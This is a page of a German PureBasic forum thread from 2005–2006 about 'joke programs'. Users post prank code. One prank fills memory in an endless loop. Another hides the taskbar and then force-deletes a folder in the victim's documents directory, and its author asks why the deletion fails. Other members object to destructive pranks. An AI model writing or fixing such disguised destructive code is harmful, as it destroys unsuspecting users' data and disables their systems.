Seite 6 von 15

Verfasst: 31.08.2005 16:51
von Batze
Das hier sind keine Viren :freak:
Das sind sogenannte Scherzprogramme.

Verfasst: 31.08.2005 16:58
von Green Snake
lol, scherzprogramme.....das teil hat mir den ganzen desktop drucheinander gemacht :lol:

ich find solche programme irre wizig, aber sie sollten nciht zuweit gehen ;)

wenn dann plötzlich mal RunProgram("Format","C") (fehlen noch ein paar parameter ;)) benutzt wird, und dann noch ein wenig codes mehr, damits wirklich geht, dann ists das ganze nicht mehr wizig /:->

Verfasst: 31.08.2005 17:22
von hardfalcon

Code: Alles auswählen

Result.b = MessageRequester("Dein Computer","Hallo, ich bin, dein Computer!"+Chr(10)+"Da du endlich mal Zeitfür mich hast, will ich die Gelegenheit nutzen, und dich um etwas bitten:"+Chr(10)+"Kannst du mir bitte eine neue CPU und eine neue Grafikkarte einbauen, und mich bei der Gelegenheit auch mal saubermachen? Meine Lüfter können sich vor Wollmäusen kaum noch drehen...",#PB_MessageRequester_YesNo)
If Result = #PB_MessageRequester_Yes
  MessageRequester("Dein Computer","Danke! Du bist mein Held! Ich will einen PocketPC von dir!")
Else
  MessageRequester("Dein Computer","Du egoistischer Schuft!"+Chr(10)+"Ihr Benutzer seid doch alle die gleichen Schweine!+Chr(10)+Ich will dich nie wieder sehen!"+Chr(10)+"Und schau mir nicht dauernd auf meine Lautsprecher!")
  Repeat 
    AllocateMemory(1048576)
  ForEver
EndIf
Nachdem ich die eigentliche "Schadensroutine" jetzt ein dutzend Mal geändert habe, sollte es endlich klappen...

Verfasst: 31.08.2005 17:22
von MVXA
Es gibt auch Viren, die halt keinen wirklichen Schaden verursachen sondern
halt nur wie diese Scherzprogramme den PC durcheinander bringen.

Verfasst: 31.08.2005 18:44
von Kiffi
Green Snake hat geschrieben:dann ists das ganze nicht mehr wizig /:->
genau das habe ich dem Kollegen AndyX auch versucht zu erklären.

Anscheinend vergeblich.

Verfasst: 04.05.2006 18:54
von Joel
ich wollte auch so ein Witziges Programm ausführen aber dannach dass Verzeichniss wo sich die Datei drin befindet Löschen.

Aber dass funktioniert irgentwie nicht.

Was hab ich Falsch gemacht ?

Code: Alles auswählen

Buffer.s=Space(256)
            nSize.l=256

            RET=GetUserName_(@Buffer,@nSize)

If OpenWindow(0, 100, 100, 640, 640, #PB_Window_TitleBar | #PB_Window_SystemMenu, "Such den richtigen Button!") 
  
  MessageRequester("Mist", "Deine Startleiste ist verschwunden! Finde den richtigen Button, damit sie wieder zurückkommt!", #PB_MessageRequester_Ok) 
  CreateGadgetList(WindowID()) 
  i = 0 
    For x = 0 To 576 Step 64 
      For y = 0 To 576 Step 64 
        i = i + 1 
        ButtonGadget(i, x, y, 64, 64, "Hoho!") 
      Next 
    Next 
    
    tWnd = FindWindow_("Shell_TrayWnd", "") 
    
    ShowWindow_(tWnd, 0) 
    
  Repeat 
    EventID = WaitWindowEvent() 
    Select EventID 
      Case #PB_Event_Gadget 
        Select EventGadgetID() 
          Case Random(99)          
            ShowWindow_(tWnd, 1) 
            
            MessageRequester("Glück gehabt!", "Ende") 
            

            DeleteDirectory("C:\Dokumente und Einstellungen\"+PeekS(Buffer)+"\Eigene Dateien\ICQ Lite", "*.*" , #PB_FileSystem_Force)
            End 
        EndSelect 
    EndSelect 
  Until EventID = #PB_Event_CloseWindow 
EndIf 


Verfasst: 05.05.2006 12:30
von hardfalcon
Hui, das ist ja mal ein lustiges Programm.... Was würdest du eigentlich sagen, wenn man das auf deinen Rechenschieber loslassen würde? Bei manchen Leuten scheint der IQ sich aus der Kubikwurzel ihrer Schuhgréße definieren zu lassen....

Verfasst: 06.05.2006 15:51
von Kaeru Gaman
ja, ich kann sowas auch nich leiden.

früher aufm C64, da hat man programme mit RUN gestartet, die haben nix wirklich kaputtmachen können, und wenn man resettet hat, war der käs gegessen, notfalls musste man ausschalten.

aber heutzutage kann man bleibenden schaden anrichten, also, ich könnte sogar nen schocker-proggi schreiben, das nahezu unlöschbar ist und wiederkommt auch nachm restart, die einzige verbleibende herausforderung wäre wiederkommen nach dem platte-formatieren.

aber wozu?

ich helf lieber anfängern, kleine games zu schreiben, und spaß zu haben, mal was anerkennenswertes zu proggen.

sogenannte schwerzprogs wie das hier beeindrucken niemanden, sie verärgern nur andere.

und wenn du in ner clique bist, wo es darum geht, wer aussenstehende besser ärgern kann, dann wechsel lieber schnell die clique, weil so leute bringen dich nicht weiter.

Verfasst: 06.05.2006 16:58
von Joel
Das mit ICQ war nur ein Test Ordner.
Ich könnte den Ordner auch test nennen.

Verfasst: 06.05.2006 16:59
von Joel
Also wie gesagt was hab ich daran falsch gemacht.

Code: Alles auswählen

Buffer.s=Space(256) 
            nSize.l=256 

            RET=GetUserName_(@Buffer,@nSize) 

If OpenWindow(0, 100, 100, 640, 640, #PB_Window_TitleBar | #PB_Window_SystemMenu, "Such den richtigen Button!") 
  
  MessageRequester("Mist", "Deine Startleiste ist verschwunden! Finde den richtigen Button, damit sie wieder zurückkommt!", #PB_MessageRequester_Ok) 
  CreateGadgetList(WindowID()) 
  i = 0 
    For x = 0 To 576 Step 64 
      For y = 0 To 576 Step 64 
        i = i + 1 
        ButtonGadget(i, x, y, 64, 64, "Hoho!") 
      Next 
    Next 
    
    tWnd = FindWindow_("Shell_TrayWnd", "") 
    
    ShowWindow_(tWnd, 0) 
    
  Repeat 
    EventID = WaitWindowEvent() 
    Select EventID 
      Case #PB_Event_Gadget 
        Select EventGadgetID() 
          Case Random(99)          
            ShowWindow_(tWnd, 1) 
            
            MessageRequester("Glück gehabt!", "Ende") 
            

            DeleteDirectory("C:\Dokumente und Einstellungen\"+PeekS(Buffer)+"\Eigene Dateien\Test", "*.*" , #PB_FileSystem_Force) 
            End 
        EndSelect 
    EndSelect 
  Until EventID = #PB_Event_CloseWindow 
EndIf
--- bobobo hat gecodetagt und das Gebrabbel hiernach gelesen
@kaeru und @hardfalcon : Mäßigung bitte